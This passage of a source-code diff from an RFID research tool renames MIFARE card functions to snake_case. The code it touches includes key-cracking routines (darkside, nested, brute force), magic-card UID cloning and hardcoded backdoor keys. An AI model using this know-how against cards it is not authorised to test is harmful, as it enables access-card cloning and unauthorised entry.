(mfReadSector(MF_MAD2_SECTOR, MF_KEY_A, (uint8_t *)g_mifare_mad_key, sector10) != PM3_SUCCESS) { + if (mf_read_sector(MF_MAD2_SECTOR, MF_KEY_A, (uint8_t *)g_mifare_mad_key, sector10) != PM3_SUCCESS) { if (verbose) { PrintAndLogEx(ERR, "error, read sector 0x10. card doesn't have MAD 2 or doesn't have MAD 2 on default keys"); } @@ -6337,7 +6337,7 @@ static int CmdHF14AMfMAD(const char *Cmd) { // User supplied key if (got_first == false && keylen == 6) { PrintAndLogEx(INFO, "Trying user specified key..."); - if (mfReadSector(MF_MAD2_SECTOR, MF_KEY_A, userkey, sector10) != PM3_SUCCESS) { + if (mf_read_sector(MF_MAD2_SECTOR, MF_KEY_A, userkey, sector10) != PM3_SUCCESS) { if (verbose) { PrintAndLogEx(ERR, "error, read sector 10. card doesn't have MAD 2 or the custom key is wrong"); } @@ -6383,7 +6383,7 @@ static int CmdHF14AMfMAD(const char *Cmd) { for (int i = 0; i < madlen; i++) { if (aaid == mad[i]) { uint8_t vsector[MFBLOCK_SIZE * 4] = {0}; - if (mfReadSector(i + 1, keyB ? MF_KEY_B : MF_KEY_A, akey, vsector)) { + if (mf_read_sector(i + 1, keyB ? MF_KEY_B : MF_KEY_A, akey, vsector)) { PrintAndLogEx(NORMAL, ""); PrintAndLogEx(ERR, "error, read sector %d", i + 1); return PM3_ESOFT; @@ -6407,7 +6407,7 @@ static int CmdHF14AMfMAD(const char *Cmd) { if (aaid == mad[i]) { uint8_t vsector[MFBLOCK_SIZE * 4] = {0}; - if (mfReadSector(i + 1, keyB ? MF_KEY_B : MF_KEY_A, akey, vsector)) { + if (mf_read_sector(i + 1, keyB ? MF_KEY_B : MF_KEY_A, akey, vsector)) { PrintAndLogEx(NORMAL, ""); PrintAndLogEx(ERR, "error, read sector %d", i + 1); return PM3_ESOFT; @@ -6504,7 +6504,7 @@ int CmdHFMFNDEFRead(const char *Cmd) { PrintAndLogEx(INFO, "reading MAD v1 sector"); } - if (mfReadSector(MF_MAD1_SECTOR, MF_KEY_A, g_mifare_mad_key, sector0)) { + if (mf_read_sector(MF_MAD1_SECTOR, MF_KEY_A, g_mifare_mad_key, sector0)) { PrintAndLogEx(ERR, "error, read sector 0. card doesn't have MAD or doesn't have MAD on default keys"); PrintAndLogEx(HINT, "Try " _YELLOW_("`hf mf ndefread -k `") " with your custom key"); return PM3_ESOFT; @@ -6514,7 +6514,7 @@ int CmdHFMFNDEFRead(const char *Cmd) { PrintAndLogEx(INFO, "reading MAD v2 sector"); } - if (mfReadSector(MF_MAD2_SECTOR, MF_KEY_A, g_mifare_mad_key, sector10)) { + if (mf_read_sector(MF_MAD2_SECTOR, MF_KEY_A, g_mifare_mad_key, sector10)) { if (verbose) { PrintAndLogEx(ERR, "error, read sector 0x10. card doesn't have MAD 2 or doesn't have MAD 2 on default keys"); PrintAndLogEx(INFO, "Skipping MAD 2"); @@ -6540,7 +6540,7 @@ int CmdHFMFNDEFRead(const char *Cmd) { for (int i = 0; i < madlen; i++) { if (ndef_aid == mad[i]) { uint8_t vsector[MFBLOCK_SIZE * 4] = {0}; - if (mfReadSector(i + 1, keyB ? MF_KEY_B : MF_KEY_A, ndefkey, vsector)) { + if (mf_read_sector(i + 1, keyB ? MF_KEY_B : MF_KEY_A, ndefkey, vsector)) { PrintAndLogEx(ERR, "error, reading sector %d ", i + 1); return PM3_ESOFT; } @@ -6689,7 +6689,7 @@ int CmdHFMFNDEFFormat(const char *Cmd) { uint64_t key64 = 0; // check if we can authenticate to sector - if (mfCheckKeys(0, MF_KEY_A, true, 1, (uint8_t *)g_mifare_mad_key, &key64) == PM3_SUCCESS) { + if (mf_check_keys(0, MF_KEY_A, true, 1, (uint8_t *)g_mifare_mad_key, &key64) == PM3_SUCCESS) { // if used, assume KEY A is MAD/NDEF set. memcpy(keyA[0], g_mifare_mad_key, sizeof(g_mifare_mad_key)); @@ -6771,9 +6771,9 @@ skipfile: } // write to card, try B key first - if (mfWriteBlock(b, MF_KEY_B, keyB[i], block) != PM3_SUCCESS) { + if (mf_write_block(b, MF_KEY_B, keyB[i], block) != PM3_SUCCESS) { // try A key, - if (mfWriteBlock(b, MF_KEY_A, keyA[i], block) != PM3_SUCCESS) { + if (mf_write_block(b, MF_KEY_A, keyA[i], block) != PM3_SUCCESS) { return PM3_EFAILED; } } @@ -6868,7 +6868,7 @@ int CmdHFMFNDEFWrite(const char *Cmd) { uint64_t key64 = 0; // check if we can authenticate to sector - int res = mfCheckKeys(0, MF_KEY_A, true, 1, (uint8_t *)g_mifare_mad_key, &key64); + int res = mf_check_keys(0, MF_KEY_A, true, 1, (uint8_t *)g_mifare_mad_key, &key64); if (res != PM3_SUCCESS) { PrintAndLogEx(FAILED, "Sector 0 failed to authenticate with MAD default key"); PrintAndLogEx(HINT, "Verify that the tag NDEF formatted"); @@ -6943,7 +6943,7 @@ int CmdHFMFNDEFWrite(const char *Cmd) { // read MAD Sector 0, block1,2 uint8_t sector0[MFBLOCK_SIZE * 4] = {0}; - if (mfReadSector(MF_MAD1_SECTOR, MF_KEY_A, g_mifare_mad_key, sector0)) { + if (mf_read_sector(MF_MAD1_SECTOR, MF_KEY_A, g_mifare_mad_key, sector0)) { PrintAndLogEx(ERR, "error, reading sector 0. Card doesn't have MAD or doesn't have MAD on default keys"); PrintAndLogEx(HINT, "Try " _YELLOW_("`hf mf ndefread -k `") " with your custom key"); return PM3_ESOFT; @@ -6952,7 +6952,7 @@ int CmdHFMFNDEFWrite(const char *Cmd) { // read MAD Sector 10, block1,2 uint8_t sector10[MFBLOCK_SIZE * 4] = {0}; if (m4) { - if (mfReadSector(MF_MAD2_SECTOR, MF_KEY_A, g_mifare_mad_key, sector10)) { + if (mf_read_sector(MF_MAD2_SECTOR, MF_KEY_A, g_mifare_mad_key, sector10)) { PrintAndLogEx(ERR, "error, reading sector 10. Card doesn't have MAD or doesn't have MAD on default keys"); PrintAndLogEx(HINT, "Try " _YELLOW_("`hf mf ndefread -k `") " with your custom key"); return PM3_ESOFT; @@ -7014,11 +7014,11 @@ int CmdHFMFNDEFWrite(const char *Cmd) { } // write to card, try B key first - if (mfWriteBlock(block_no, MF_KEY_B, g_mifare_default_key, block) != PM3_SUCCESS) { + if (mf_write_block(block_no, MF_KEY_B, g_mifare_default_key, block) != PM3_SUCCESS) { // try A key, - if (mfWriteBlock(block_no, MF_KEY_A, g_mifare_ndef_key, block) != PM3_SUCCESS) { + if (mf_write_block(block_no, MF_KEY_A, g_mifare_ndef_key, block) != PM3_SUCCESS) { return PM3_EFAILED; } } @@ -7173,7 +7173,7 @@ static int CmdHf14AGen3UID(const char *Cmd) { uint8_t old_uid[10] = {0}; - int res = mfGen3UID(uid, uidlen, old_uid); + int res = mf_chinese_gen_3_uid(uid, uidlen, old_uid); if (res != PM3_SUCCESS) { PrintAndLogEx(ERR, "Can't set UID"); PrintAndLogEx(HINT, "Are you sure your card is a Gen3 ?"); @@ -7213,7 +7213,7 @@ static int CmdHf14AGen3Block(const char *Cmd) { CLIParserFree(ctx); uint8_t new_block[MFBLOCK_SIZE] = {0x00}; - int res = mfGen3Block(data, datalen, new_block); + int res = mf_chinese_gen_3_block(data, datalen, new_block); if (res) { PrintAndLogEx(ERR, "Can't change manufacturer block data. error %d", res); return PM3_ESOFT; @@ -7244,7 +7244,7 @@ static int CmdHf14AGen3Freeze(const char *Cmd) { return PM3_SUCCESS; } - int res = mfGen3Freeze(); + int res = mf_chinese_gen_3_freeze(); if (res != PM3_SUCCESS) { PrintAndLogEx(ERR, "Can't lock UID changes. error %d", res); } else { @@ -8696,7 +8696,7 @@ static int CmdHF14AGen4Save(const char *Cmd) { int cnt = 0; uint16_t bytes_left = bytes ; - // 12 is the size of the struct the fct mfEmlSetMem_xt uses to transfer to device + // 12 is the size of the struct the fct mf_eml_set_mem_xt uses to transfer to device uint16_t max_avail_blocks = ((PM3_CMD_DATA_SIZE - 12) / MFBLOCK_SIZE) * MFBLOCK_SIZE; while (bytes_left > 0 && cnt < block_cnt) { @@ -8708,7 +8708,7 @@ static int CmdHF14AGen4Save(const char *Cmd) { uint16_t chunk_size = MIN(max_avail_blocks, bytes_left); uint16_t blocks_to_send = chunk_size / MFBLOCK_SIZE; - if (mfEmlSetMem_xt(dump + offset, cnt, blocks_to_send, MFBLOCK_SIZE) != PM3_SUCCESS) { + if (mf_eml_set_mem_xt(dump + offset, cnt, blocks_to_send, MFBLOCK_SIZE) != PM3_SUCCESS) { PrintAndLogEx(FAILED, "Can't set emulator mem at block: %3d", cnt); free(dump); return PM3_ESOFT; @@ -9364,12 +9364,12 @@ static int CmdHF14AMfValue(const char *Cmd) { // already have data from command line } else { if (trnval == -1) { - res = mfReadBlock(blockno, keytype, key, data); + res = mf_read_block(blockno, keytype, key, data); } else { if (mfSectorNum(trnval) != mfSectorNum(blockno)) - res = mfReadBlock(trnval, transferkeytype, transferkey, data); + res = mf_read_block(trnval, transferkeytype, transferkey, data); else - res = mfReadBlock(trnval, keytype, key, data); + res = mf_read_block(trnval, keytype, key, data); } } @@ -9495,8 +9495,8 @@ static int CmdHFMFHidEncode(const char *Cmd) { PrintAndLogEx(INFO, "Writing %u - %s", (i + 1), sprint_hex_inrow(blocks + (i * MFBLOCK_SIZE), MFBLOCK_SIZE)); } - if (mfWriteBlock((i + 1), MF_KEY_A, empty, blocks + (i * MFBLOCK_SIZE)) == PM3_EFAILED) { - if (mfWriteBlock((i + 1), MF_KEY_B, empty, blocks + (i * MFBLOCK_SIZE)) == PM3_EFAILED) { + if (mf_write_block((i + 1), MF_KEY_A, empty, blocks + (i * MFBLOCK_SIZE)) == PM3_EFAILED) { + if (mf_write_block((i + 1), MF_KEY_B, empty, blocks + (i * MFBLOCK_SIZE)) == PM3_EFAILED) { PrintAndLogEx(WARNING, "failed writing block %d using default empty key", (i + 1)); res = false; break; @@ -9636,14 +9636,14 @@ static int CmdHF14AMfInfo(const char *Cmd) { } uint8_t blockdata[MFBLOCK_SIZE] = {0}; - res = mfCheckKeys_fast(sectorsCnt, true, true, 1, keycnt, keyBlock, e_sector, false, verbose); + res = mf_check_keys_fast(sectorsCnt, true, true, 1, keycnt, keyBlock, e_sector, false, verbose); if (res == PM3_SUCCESS || res == PM3_EPARTIAL) { if (e_sector[0].foundKey[MF_KEY_A]) { PrintAndLogEx(SUCCESS, "Sector 0 key A... " _GREEN_("%012" PRIX64), e_sector[0].Key[MF_KEY_A]); num_to_bytes(e_sector[0].Key[MF_KEY_A], MIFARE_KEY_SIZE, fkey); - if (mfReadBlock(0, MF_KEY_A, key, blockdata) == PM3_SUCCESS) { + if (mf_read_block(0, MF_KEY_A, key, blockdata) == PM3_SUCCESS) { fKeyType = MF_KEY_A; } } @@ -9653,7 +9653,7 @@ static int CmdHF14AMfInfo(const char *Cmd) { if (fKeyType == 0xFF) { num_to_bytes(e_sector[0].Key[MF_KEY_B], MIFARE_KEY_SIZE, fkey); - if (mfReadBlock(0, MF_KEY_B, key, blockdata) == PM3_SUCCESS) { + if (mf_read_block(0, MF_KEY_B, key, blockdata) == PM3_SUCCESS) { fKeyType = MF_KEY_B; } } @@ -9667,16 +9667,16 @@ static int CmdHF14AMfInfo(const char *Cmd) { uint8_t k08s[6] = {0xA3, 0x96, 0xEF, 0xA4, 0xE2, 0x4F}; uint8_t k08[6] = {0xA3, 0x16, 0x67, 0xA8, 0xCE, 0xC1}; uint8_t k32[6] = {0x51, 0x8B, 0x33, 0x54, 0xE7, 0x60}; - if (mfReadBlock(0, 4, k08s, blockdata) == PM3_SUCCESS) { + if (mf_read_block(0, 4, k08s, blockdata) == PM3_SUCCESS) { PrintAndLogEx(SUCCESS, "Backdoor key..... " _YELLOW_("%s"), sprint_hex_inrow(k08s, sizeof(k08s))); fKeyType = MF_KEY_BD; memcpy(fkey, k08s, sizeof(fkey)); - } else if (mfReadBlock(0, 4, k08, blockdata) == PM3_SUCCESS) { + } else if (mf_read_block(0, 4, k08, blockdata) == PM3_SUCCESS) { PrintAndLogEx(SUCCESS, "Backdoor key..... " _YELLOW_("%s"), sprint_hex_inrow(k08, sizeof(k08))); fKeyType = MF_KEY_BD; memcpy(fkey, k08, sizeof(fkey)); - } else if (mfReadBlock(0, 4, k32, blockdata) == PM3_SUCCESS) { + } else if (mf_read_block(0, 4, k32, blockdata) == PM3_SUCCESS) { PrintAndLogEx(SUCCESS, "Backdoor key..... " _YELLOW_("%s"), sprint_hex_inrow(k32, sizeof(k32))); fKeyType = MF_KEY_BD; memcpy(fkey, k32, sizeof(fkey)); diff --git a/client/src/cmdhfmfp.c b/client/src/cmdhfmfp.c index e6fcf55f9..9d9ecb880 100644 --- a/client/src/cmdhfmfp.c +++ b/client/src/cmdhfmfp.c @@ -1914,7 +1914,7 @@ static int CmdHFMFPMAD(const char *Cmd) { if (aaid == mad[i]) { uint8_t vsector[16 * 4] = {0}; - if (mfReadSector(i + 1, keyB ? MF_KEY_B : MF_KEY_A, akey, vsector)) { + if (mf_read_sector(i + 1, keyB ? MF_KEY_B : MF_KEY_A, akey, vsector)) { PrintAndLogEx(NORMAL, ""); PrintAndLogEx(ERR, "error, read sector %d", i + 1); return PM3_ESOFT; diff --git a/client/src/mifare/mifarehost.c b/client/src/mifare/mifarehost.c index bd772db34..c035361df 100644 --- a/client/src/mifare/mifarehost.c +++ b/client/src/mifare/mifarehost.c @@ -44,7 +44,7 @@ #include "gen4.h" #include "parity.h" -int mfDarkside(uint8_t blockno, uint8_t key_type, uint64_t *key) { +int mf_dark_side(uint8_t blockno, uint8_t key_type, uint64_t *key) { uint32_t uid = 0; uint32_t nt = 0, nr = 0, ar = 0; uint64_t par_list = 0, ks_list = 0; @@ -189,7 +189,7 @@ int mfDarkside(uint8_t blockno, uint8_t key_type, uint64_t *key) { } } - if (mfCheckKeys(blockno, key_type - 0x60, false, size, keyBlock, key) == PM3_SUCCESS) { + if (mf_check_keys(blockno, key_type - 0x60, false, size, keyBlock, key) == PM3_SUCCESS) { break; } } @@ -208,7 +208,7 @@ int mfDarkside(uint8_t blockno, uint8_t key_type, uint64_t *key) { return PM3_SUCCESS; } -int mfCheckKeys(uint8_t blockNo, uint8_t keyType, bool clear_trace, uint8_t keycnt, uint8_t *keyBlock, uint64_t *key) { +int mf_check_keys(uint8_t blockNo, uint8_t keyType, bool clear_trace, uint8_t keycnt, uint8_t *keyBlock, uint64_t *key) { if (key) { *key = -1; } @@ -249,7 +249,7 @@ int mfCheckKeys(uint8_t blockNo, uint8_t keyType, bool clear_trace, uint8_t keyc // 0 == ok all keys found // 1 == // 2 == Time-out, aborting -int mfCheckKeys_fast_ex(uint8_t sectorsCnt, uint8_t firstChunk, uint8_t lastChunk, uint8_t strategy, +int mf_check_keys_fast_ex(uint8_t sectorsCnt, uint8_t firstChunk, uint8_t lastChunk, uint8_t strategy, uint32_t size, uint8_t *keyBlock, sector_t *e_sector, bool use_flashmemory, bool verbose, bool quiet, uint16_t singleSectorParams) { @@ -357,15 +357,15 @@ int mfCheckKeys_fast_ex(uint8_t sectorsCnt, uint8_t firstChunk, uint8_t lastChun return PM3_ESOFT; } -int mfCheckKeys_fast(uint8_t sectorsCnt, uint8_t firstChunk, uint8_t lastChunk, uint8_t strategy, +int mf_check_keys_fast(uint8_t sectorsCnt, uint8_t firstChunk, uint8_t lastChunk, uint8_t strategy, uint32_t size, uint8_t *keyBlock, sector_t *e_sector, bool use_flashmemory, bool verbose) { - return mfCheckKeys_fast_ex(sectorsCnt, firstChunk, lastChunk, strategy, size, keyBlock, e_sector, use_flashmemory, verbose, false, 0); + return mf_check_keys_fast_ex(sectorsCnt, firstChunk, lastChunk, strategy, size, keyBlock, e_sector, use_flashmemory, verbose, false, 0); } // Trigger device to use a binary file on flash mem as keylist for mfCheckKeys. // As of now, 255 keys possible in the file // 6 * 255 = 1500 bytes -int mfCheckKeys_file(uint8_t *destfn, uint64_t *key) { +int mf_check_keys_file(uint8_t *destfn, uint64_t *key) { *key = -1; clearCommandBuffer(); @@ -412,7 +412,7 @@ int mfCheckKeys_file(uint8_t *destfn, uint64_t *key) { // PM3 imp of J-Run mf_key_brute (part 2) // ref: https://github.com/J-Run/mf_key_brute -int mfKeyBrute(uint8_t blockNo, uint8_t keyType, const uint8_t *key, uint64_t *resultkey) { +int mf_key_brute(uint8_t blockNo, uint8_t keyType, const uint8_t *key, uint64_t *resultkey) { uint64_t key64; uint8_t found = false; @@ -441,7 +441,7 @@ int mfKeyBrute(uint8_t blockNo, uint8_t keyType, const uint8_t *key, uint64_t *r memcpy(keyBlock, candidates + i, KEYBLOCK_SIZE); // check a block of generated key candidates. - if (mfCheckKeys(blockNo, keyType, true, KEYS_IN_BLOCK, keyBlock, &key64) == PM3_SUCCESS) { + if (mf_check_keys(blockNo, keyType, true, KEYS_IN_BLOCK, keyBlock, &key64) == PM3_SUCCESS) { *resultkey = key64; found = true; break; @@ -483,7 +483,7 @@ __attribute__((force_align_arg_pointer)) return statelist->head.slhead; } -int mfnested(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_t trgBlockNo, uint8_t trgKeyType, uint8_t *resultKey, bool calibrate) { +int mf_nested(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_t trgBlockNo, uint8_t trgKeyType, uint8_t *resultKey, bool calibrate) { uint32_t uid; StateList_t statelists[2]; @@ -625,7 +625,7 @@ int mfnested(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_t trgBlockNo, num_to_bytes(key64, 6, keyBlock + j * MIFARE_KEY_SIZE); } - if (mfCheckKeys(statelists[0].blockNo, statelists[0].keyType, false, size, keyBlock, &key64) == PM3_SUCCESS) { + if (mf_check_keys(statelists[0].blockNo, statelists[0].keyType, false, size, keyBlock, &key64) == PM3_SUCCESS) { free(statelists[0].head.slhead); free(statelists[1].head.slhead); num_to_bytes(key64, 6, resultKey); @@ -669,7 +669,7 @@ out: return PM3_ESOFT; } -int mfStaticNested(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_t trgBlockNo, uint8_t trgKeyType, uint8_t *resultKey) { +int mf_static_nested(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_t trgBlockNo, uint8_t trgKeyType, uint8_t *resultKey) { uint32_t uid; StateList_t statelists[2]; @@ -902,9 +902,9 @@ int mfStaticNested(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_t trgBl free(mem); return res; } - res = mfCheckKeys_file(fn, &key64); + res = mf_check_keys_file(fn, &key64); } else { - res = mfCheckKeys(statelists[0].blockNo, statelists[0].keyType, true, chunk, mem, &key64); + res = mf_check_keys(statelists[0].blockNo, statelists[0].keyType, true, chunk, mem, &key64); } if (res == PM3_SUCCESS) { @@ -949,7 +949,7 @@ out: } // MIFARE -int mfReadSector(uint8_t sectorNo, uint8_t keyType, const uint8_t *key, uint8_t *data) { +int mf_read_sector(uint8_t sectorNo, uint8_t keyType, const uint8_t *key, uint8_t *data) { clearCommandBuffer(); SendCommandMIX(CMD_HF_MIFARE_READSC, sectorNo, keyType, 0, (uint8_t *)key, MIFARE_KEY_SIZE); @@ -970,7 +970,7 @@ int mfReadSector(uint8_t sectorNo, uint8_t keyType, const uint8_t *key, uint8_t return PM3_SUCCESS; } -int mfReadBlock(uint8_t blockNo, uint8_t keyType, const uint8_t *key, uint8_t *data) { +int mf_read_block(uint8_t blockNo, uint8_t keyType, const uint8_t *key, uint8_t *data) { mf_readblock_t payload = { .blockno = blockNo, .keytype = keyType @@ -994,7 +994,7 @@ int mfReadBlock(uint8_t blockNo, uint8_t keyType, const uint8_t *key, uint8_t *d return PM3_SUCCESS; } -int mfWriteBlock(uint8_t blockno, uint8_t keyType, const uint8_t *key, uint8_t *block) { +int mf_write_block(uint8_t blockno, uint8_t keyType, const uint8_t *key, uint8_t *block) { uint8_t data[26]; memcpy(data, key, MIFARE_KEY_SIZE); @@ -1014,19 +1014,19 @@ int mfWriteBlock(uint8_t blockno, uint8_t keyType, const uint8_t *key, uint8_t * return res; } -int mfWriteSector(uint8_t sectorNo, uint8_t keyType, const uint8_t *key, uint8_t *sector){ - - for (int i = 0; i < 4; i++) { - int res = mfWriteBlock((sectorNo * 4) + i, keyType, key, sector + ( i * MFBLOCK_SIZE )); - if (res != PM3_SUCCESS) { - return (i == 0) ? PM3_EFAILED : PM3_EPARTIAL; +int mf_write_sector(uint8_t sectorNo, uint8_t keyType, const uint8_t *key, uint8_t *sector){ + int res; + for (int i=0;i<4; i++){ + res = mf_write_block((sectorNo*4)+i, keyType, key, sector+(i*MFBLOCK_SIZE)); + if (res != PM3_SUCCESS){ + return (i==0)?PM3_EFAILED:PM3_EPARTIAL; } } return PM3_SUCCESS; } // EMULATOR -int mfEmlGetMem(uint8_t *data, int blockNum, int blocksCount) { +int mf_eml_get_mem(uint8_t *data, int blockNum, int blocksCount) { size_t size = blocksCount * MFBLOCK_SIZE; if (size > PM3_CMD_DATA_SIZE) { @@ -1056,11 +1056,11 @@ int mfEmlGetMem(uint8_t *data, int blockNum, int blocksCount) { return resp.status; } -int mfEmlSetMem(uint8_t *data, int blockNum, int blocksCount) { - return mfEmlSetMem_xt(data, blockNum, blocksCount, MFBLOCK_SIZE); +int mf_elm_set_mem(uint8_t *data, int blockNum, int blocksCount) { + return mf_eml_set_mem_xt(data, blockNum, blocksCount, MFBLOCK_SIZE); } -int mfEmlSetMem_xt(uint8_t *data, int blockNum, int blocksCount, int blockBtWidth) { +int mf_eml_set_mem_xt(uint8_t *data, int blockNum, int blocksCount, int blockBtWidth) { struct p { uint8_t blockno; @@ -1089,13 +1089,13 @@ int mfEmlSetMem_xt(uint8_t *data, int blockNum, int blocksCount, int blockBtWidt } // "MAGIC" CARD -int mfCSetUID(uint8_t *uid, uint8_t uidlen, const uint8_t *atqa, const uint8_t *sak, uint8_t *old_uid, uint8_t *verifed_uid, uint8_t wipecard, uint8_t gdm) { +int mf_chinese_set_uid(uint8_t *uid, uint8_t uidlen, const uint8_t *atqa, const uint8_t *sak, uint8_t *old_uid, uint8_t *verifed_uid, uint8_t wipecard, uint8_t gdm) { uint8_t params = MAGIC_SINGLE | (gdm ? MAGIC_GDM_ALT_WUPC : MAGIC_WUPC); uint8_t block0[MFBLOCK_SIZE]; memset(block0, 0x00, sizeof(block0)); - int res = mfCGetBlock(0, block0, params); + int res = mf_chinese_get_block(0, block0, params); if (res == 0) { PrintAndLogEx(SUCCESS, "old block 0... %s", sprint_hex_inrow(block0, sizeof(block0))); if (old_uid) { @@ -1140,11 +1140,11 @@ int mfCSetUID(uint8_t *uid, uint8_t uidlen, const uint8_t *atqa, const uint8_t * params |= MAGIC_WIPE; } - res = mfCSetBlock(0, block0, NULL, params); + res = mf_chinese_set_block(0, block0, NULL, params); if (res == PM3_SUCCESS) { params = MAGIC_SINGLE | MAGIC_WUPC; memset(block0, 0, sizeof(block0)); - res = mfCGetBlock(0, block0, params); + res = mf_chinese_get_block(0, block0, params); if (res == 0) { if (verifed_uid) { memcpy(verifed_uid, block0, uidlen); @@ -1154,7 +1154,7 @@ int mfCSetUID(uint8_t *uid, uint8_t uidlen, const uint8_t *atqa, const uint8_t * return res; } -int mfCWipe(uint8_t *uid, const uint8_t *atqa, const uint8_t *sak, uint8_t gdm) { +int mf_chinese_wipe(uint8_t *uid, const uint8_t *atqa, const uint8_t *sak, uint8_t gdm) { uint8_t block0[MFBLOCK_SIZE] = {0x00, 0x56, 0x78, 0xBB, 0x95, 0x08, 0x04, 0x00, 0x02, 0xB2, 0x1E, 0x24, 0x23, 0x27, 0x1E, 0x1D}; // uint8_t block0[MFBLOCK_SIZE] = {0x04, 0x03, 0x02, 0x01, 0x04, 0x08, 0x04, 0x00, 0x64, 0xB9, 0x95, 0x11, 0x4D, 0x20, 0x42, 0x09}; uint8_t blockD[MFBLOCK_SIZE] = {0x00}; @@ -1180,12 +1180,12 @@ int mfCWipe(uint8_t *uid, const uint8_t *atqa, const uint8_t *sak, uint8_t gdm) PrintAndLogEx(INPLACE, "wipe block %d", blockNo); if (blockNo == 0) { - res = mfCSetBlock(blockNo, block0, NULL, params); + res = mf_chinese_set_block(blockNo, block0, NULL, params); } else { if (mfIsSectorTrailer(blockNo)) - res = mfCSetBlock(blockNo, blockK, NULL, params); + res = mf_chinese_set_block(blockNo, blockK, NULL, params); else - res = mfCSetBlock(blockNo, blockD, NULL, params); + res = mf_chinese_set_block(blockNo, blockD, NULL, params); } if (res == PM3_SUCCESS) @@ -1204,7 +1204,7 @@ int mfCWipe(uint8_t *uid, const uint8_t *atqa, const uint8_t *sak, uint8_t gdm) return PM3_SUCCESS; } -int mfCSetBlock(uint8_t blockNo, uint8_t *data, uint8_t *uid, uint8_t params) { +int mf_chinese_set_block(uint8_t blockNo, uint8_t *data, uint8_t *uid, uint8_t params) { clearCommandBuffer(); SendCommandMIX(CMD_HF_MIFARE_CSETBL, params, blockNo, 0, data, MFBLOCK_SIZE); PacketResponseNG resp; @@ -1224,7 +1224,7 @@ int mfCSetBlock(uint8_t blockNo, uint8_t *data, uint8_t *uid, uint8_t params) { return PM3_SUCCESS; } -int mfCGetBlock(uint8_t blockNo, uint8_t *data, uint8_t params) { +int mf_chinese_get_block(uint8_t blockNo, uint8_t *data, uint8_t params) { clearCommandBuffer(); SendCommandMIX(CMD_HF_MIFARE_CGETBL, params, blockNo, 0, NULL, 0); PacketResponseNG resp; @@ -1241,7 +1241,7 @@ int mfCGetBlock(uint8_t blockNo, uint8_t *data, uint8_t params) { return PM3_SUCCESS; } -int mfGen3UID(uint8_t *uid, uint8_t uidlen, uint8_t *oldUid) { +int mf_chinese_gen_3_uid(uint8_t *uid, uint8_t uidlen, uint8_t *oldUid) { clearCommandBuffer(); SendCommandMIX(CMD_HF_MIFARE_GEN3UID, uidlen, 0, 0, uid, uidlen); PacketResponseNG resp; @@ -1256,7 +1256,7 @@ int mfGen3UID(uint8_t *uid, uint8_t uidlen, uint8_t *oldUid) { } } -int mfGen3Block(uint8_t *block, int blockLen, uint8_t *newBlock) { +int mf_chinese_gen_3_block(uint8_t *block, int blockLen, uint8_t *newBlock) { clearCommandBuffer(); SendCommandMIX(CMD_HF_MIFARE_GEN3BLK, blockLen, 0, 0, block, MFBLOCK_SIZE); PacketResponseNG resp; @@ -1271,7 +1271,7 @@ int mfGen3Block(uint8_t *block, int blockLen, uint8_t *newBlock) { } } -int mfGen3Freeze(void) { +int mf_chinese_gen_3_freeze(void) { clearCommandBuffer(); SendCommandNG(CMD_HF_MIFARE_GEN3FREEZ, NULL, 0); PacketResponseNG resp; @@ -1301,7 +1301,7 @@ void mf_crypto1_decrypt(struct Crypto1State *pcs, uint8_t *data, int len, bool i } } -int tryDecryptWord(uint32_t nt, uint32_t ar_enc, uint32_t at_enc, uint8_t *data, int len) { +int try_decrypt_word(uint32_t nt, uint32_t ar_enc, uint32_t at_enc, uint8_t *data, int len) { PrintAndLogEx(SUCCESS, "encrypted data... %s", sprint_hex(data, len)); uint32_t ks2 = ar_enc ^ prng_successor(nt, 64); @@ -1636,7 +1636,7 @@ uint16_t detect_mf_magic(bool is_mfc, uint8_t key_type, uint64_t key) { bool detect_mfc_ev1_signature(void) { uint64_t key = 0; - int res = mfCheckKeys(69, MF_KEY_B, false, 1, (uint8_t *)g_mifare_signature_key_b, &key); + int res = mf_check_keys(69, MF_KEY_B, false, 1, (uint8_t *)g_mifare_signature_key_b, &key); return (res == PM3_SUCCESS); } @@ -1645,17 +1645,17 @@ int read_mfc_ev1_signature(uint8_t *signature) { return PM3_EINVARG; } uint8_t sign[32] = {0}; - int res = mfReadBlock(69, MF_KEY_B, g_mifare_signature_key_b, sign); + int res = mf_read_block(69, MF_KEY_B, g_mifare_signature_key_b, sign); if (res == PM3_SUCCESS) { - res = mfReadBlock(70, MF_KEY_B, g_mifare_signature_key_b, sign + 16); + res = mf_read_block(70, MF_KEY_B, g_mifare_signature_key_b, sign + 16); if (res == PM3_SUCCESS) { memcpy(signature, sign, sizeof(sign)); } } else { // try QL88 - res = mfReadBlock(69, MF_KEY_B, g_mifare_ql88_signature_key_b, sign); + res = mf_read_block(69, MF_KEY_B, g_mifare_ql88_signature_key_b, sign); if (res == PM3_SUCCESS) { - res = mfReadBlock(70, MF_KEY_B, g_mifare_ql88_signature_key_b, sign + 16); + res = mf_read_block(70, MF_KEY_B, g_mifare_ql88_signature_key_b, sign + 16); if (res == PM3_SUCCESS) { memcpy(signature, sign, sizeof(sign)); } diff --git a/client/src/mifare/mifarehost.h b/client/src/mifare/mifarehost.h index 443e83b7e..5eed65625 100644 --- a/client/src/mifare/mifarehost.h +++ b/client/src/mifare/mifarehost.h @@ -70,41 +70,41 @@ typedef struct { #define KEYBLOCK_SIZE (KEYS_IN_BLOCK * MIFARE_KEY_SIZE) #define CANDIDATE_SIZE (0xFFFF * MIFARE_KEY_SIZE) -int mfDarkside(uint8_t blockno, uint8_t key_type, uint64_t *key); -int mfnested(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_t trgBlockNo, uint8_t trgKeyType, uint8_t *resultKey, bool calibrate); -int mfStaticNested(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_t trgBlockNo, uint8_t trgKeyType, uint8_t *resultKey); -int mfCheckKeys(uint8_t blockNo, uint8_t keyType, bool clear_trace, uint8_t keycnt, uint8_t *keyBlock, uint64_t *key); -int mfCheckKeys_fast(uint8_t sectorsCnt, uint8_t firstChunk, uint8_t lastChunk, +int mf_dark_side(uint8_t blockno, uint8_t key_type, uint64_t *key); +int mf_nested(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_t trgBlockNo, uint8_t trgKeyType, uint8_t *resultKey, bool calibrate); +int mf_static_nested(uint8_t blockNo, uint8_t keyType, 